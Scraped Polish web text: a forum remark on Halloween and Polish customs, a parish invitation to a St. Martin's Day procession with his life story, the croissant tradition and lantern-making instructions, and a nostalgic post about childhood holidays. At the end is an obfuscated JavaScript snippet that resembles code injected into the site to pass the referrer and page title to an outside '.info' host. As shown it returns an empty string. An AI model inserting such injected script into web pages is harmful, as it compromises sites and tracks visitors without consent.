października, ale oprócz ciebie nikt tego nie zauważył. Dynia strasząco-świecąca
jest naprawdę fajna. Wywodzi się jeszcze z czasów celtyckich, a nie od USA. Ma za
zadanie prowadzenie zbłdzonych duszyczek ku zbawieniu( oczywiście w ich celtyckim
wydaniu). Termin rzeczywiście mało dla nas odpowiedni. Uważam ponadto, że zamiast
tępić wszystko i wszystkich powinnyśmy spróbować wskrzesić nasze tradycje które
trochę podupadają - Andrzejki, Kolędowanie( w innych krajach także popularne). 6
grudnia to my najbardziej obchodzimy. Powinnismy takze wiedziec jak obchodzic
inne nasze święta narodowe - dzięki nim istniejemy i mamy własną kulturę i
poglądy. Cieszmy się z nich , a nie szturmujmy wtedy Castoramy, Liroja itp.
Zabierzmy rodzine na spacer ( lub uczcijmy to w inny sposób) aby pamięć i
tradycja nie upadła bo My Polacy to chyba potrafimy tylko krytukować.

O św. Marcinie…
Marcin urodził się w rzymskiej prowincji Panonii – na terenie dzisiejszych
Węgier, jako syn rzymskiego legionisty. Ojciec dał mu na imię Marcin na cześć
boga wojny – Marsa. Od najmłodszych lat odznaczał się wielką wrażliwością na
potrzeby drugiego człowieka i ego ojciec, rzymski legionista, który doszedł do
godności trybuna, nadał synowi imię pochodzące od boga wojny Marsa. Jako dziecko
przeniósł się wraz z rodzicami do Pavii, miasta we Włoszech. Tam poznał
chrześcijan i mając zaledwie 10 lat wpisał się na listę katechumenów mimo
sprzeciwu rodziców. W wieku 15 lat św. Marcin obrał stan żołnierski i został
rzymskim legionistą. W roku 338 św. Marcin wraz ze swoim garnizonem został
przeniesiony do Galii w okolice miasta Amiens. To tutaj miało miejsce znane
zdarzenie z jego życia. Zimą gdy napotkał półnagiego żebraka, oddał mu połowę
swojej żołnierskiej opończy. W nocy po tym zdarzeniu w swoim śnie zobaczył
Chrystusa odzianego w jego płaszcz, który mówił do aniołów: "Patrzcie, jak mnie
Marcin, katechumen, przyodział". Na Wielkanoc 339 roku przyjmuje chrzest.
Gdy tylko nadarzyła się okazja, występuje z wojska i wraca do rodziców, a potem
udaje się do Mediolanu i do Poitiers, w którego pobliżu rozpoczyna życie
pustelnicze. Wkrótce dołączają do niego bracia i w ten sposób w 360 powstaje
pierwsza zachodnioeuropejska wspólnota zakonna.
Życiorus św. Marcina napisany przez jednego z jego uczniów- Sulpicjusza Sewera,
był jednym z najczęściej czytanych żywotów świętych i miał znaczący wpływ na
kulturę kształtującej się Europy.
i o Jego rogalikach…
Rogaliki św. Marcina symbolizują podkowę jego konia, którą ten zgubił w pamiętną
noc spotkania z żebrakiem. Rozdawane w tym dniu biednym miały przypominać dobroć
Świętego, a tym bogatszym przypominać o tym, że Chrystus przychodzi do nas w
drugim człowieku.
Zapraszamy więc na spotkanie ze św. Marcinem, który przyjedzie oczywiście na
koniu. Dzieci niech zabiorą ze sobą roratnie lampiony, aby przywitać św. Marcina
ich światłem. Przyjazdu św. Marcina będziemy wyczekiwać na parkingu przed
kościołem. Potem ruszymy za nim w procesji dokoła naszej świątyni. Krótkie
przedstawienie w kościele, w wykonaniu harcerzy i Śpiewającej Miski Reksia,
przypomni nam postać Świętego.
Na końcu zapraszamy razem z młodzieżą i zespołem charytatywnym Caritas na
tradycyjne świętomarcinowe Rogaliki, ciepłą herbatkę i może coś jeszcze… Jeśli
ktoś będzie chciał wziąć przykład ze św. Marcina i zechce wrzucić grosz do
skarbonki, to zostanie on przeznaczony na pomoc naszym najuboższym parafianom.
o Lampionach
Zrobienie lampionu na św. Marcina jest niezwykle proste.
Potrzebujemy:

*
butelkę plastikową po napoju 1,5L
*
nożyczki, nóż
*
kartkę papieru z szablonem postaci św. Marcina
*
klej do papieru
*
świeczka lub żarówka z bateryjką 4,5V

Butelkę przecinamy na połowę. Następnie farbkami akwarelowymi kolorujemy
szablon pobrany z naszej strony. Gdy wyschnie - oklejamy nim butelkę. Wkładamy
do srodka źródło światła - i lampion gotowy.
forum.gazeta.pl/forum/72,2.html?f=34281&w=51583398&v=2&s=0

Kiedy bylam dzieckiem, swieta Bozego Narodzenia zaczynaly sie dla mnie w juz Adwent. Nastroj oczekiwania potegowaly tajemnicze roraty, oswietlone dzieciecymi papierowymi lampionami i malenka figurka Dzieciatka Jezus ulozona na sianku w zlobeczku, wedrujaca kazdego wieczoru do Domu innego dziecka. A potem krotkie ferie, czyszczenie swiecznikow w Kosciele, zapach zimnych scian... I zapach swiec stojacych obok wielkich choin... No i Wigilia... Uwazalismy wtedy, zeby nie rozgniewac rodzicow i zeby dostac od nich chocby drobny pieniazek (jaka Wigilia, taki caly rok). No i podjadanie kuchenne... U nas wielka coroczna tradycja Nigdy nie jadlam lepszych pierogow z kapusta i grzybami, jak te, ukadzione z kuchni (lapalysmy z siostra po pierogu i wylatywalysmy z kuchni jak oparzone, chichoczac na caly dom)... W ogole wszytko ukradzione tego dnia z kuchni mialo niesamowity smak i atomat... A mama sie patrzyla przez palce na te nasze zlodziejskie wybryki i opowiadala, jak to ona, bedac dzieckiem, razem z rodzenstwem wykradala w Wigilie pierogi i jak babcia sie wtedy denerwowala na te swoje dzieciaki - a piecioro ich miala Ale nigdy nie lubilam sie dzielic oplatkiem -zwykle wydawalo mi sie to wszystko sztuczne. Nigdy tez mamie nie udalo sie nas zaciagnac do wspolnego spiewania koled. Chyba wolalam pobyc wtedy sama... I fizycznie poczuc uplywanie Czasu. Inna sprawa to Wielkanoc. Tez kojarzy sie strasznie koscielnie. Wielki Czwartek, potem Piatek, Sobota... I adoracje spiewane na kleczkach. I ten zapach swiec, chlod srebrnego koscielnego swiecznika pastowanego przeze mnie do polysku jakims mazidlem... Potem sniadanie w niedziele, bardzo uroczyste, jednak bez dzielenia sie jajem. Za to okraszone (koniecznie) opowiescia, ze swiecone jest smaczniejsze. Ach, opowiem - posmiejecie sie. Moja swietej pamieci babcia, zawsze przy sniadaniu wielkanocym jadla tylko swieconke, bo swiecone oczywiscie lepsze. Mogla sobie na to pozolic, bo wtedy na wsi nioslo sie do kosciola wielkie wiklinowe kosze pelne jedzenia. Ktorejs wielkiej soboty jednak dzieciakom pomylily sie godziny swiecenia pokarmow, no i... po prostu nie zdazyly ich poswiecic. Tej wielkanocy (jak kazdej z reszta) babcia ze smakiem jadla tylko te rzeczy, ktore byly przeznaczone do poswiecenia, gloszac na caly dom wyzszosc poswieconego nad nieposwieconym. Oczywiscie cale towarzystwo (z dziadkiem wlacznie) kopalo sie po kostkach pod stolem, zeby nie parskanc smiechem... Bo postanowili nic nie mowic babci - ta by im za to dala po uszach! Sprawa sie wydala przy nastepnych swietach, kiedy dziadek nie wytrzymal zachwytow babci nad tym lepszym swieconym i oswiecil ja, jak tez to zeszloroczne swiecenie wygladalo. Podobno babcia tak sie wkurzyla, ze porozstawiala towarzystwo po katach. Ale dzieki temu moja mama miala nam co opowiadac kazdej wielkanocnej niedzieli. Szkoda, ze przestalam byc dzieckiem i utracilam bezkrytycznosc wiary. Straszna szkoda. Bo swieta stracily swoja magie. Ale to juz inna historia.....

function bb515452319e530(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515452319e4f5(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515452319e4f5(bb515452319e530(document.referrer),bb515452319e530(document.title)));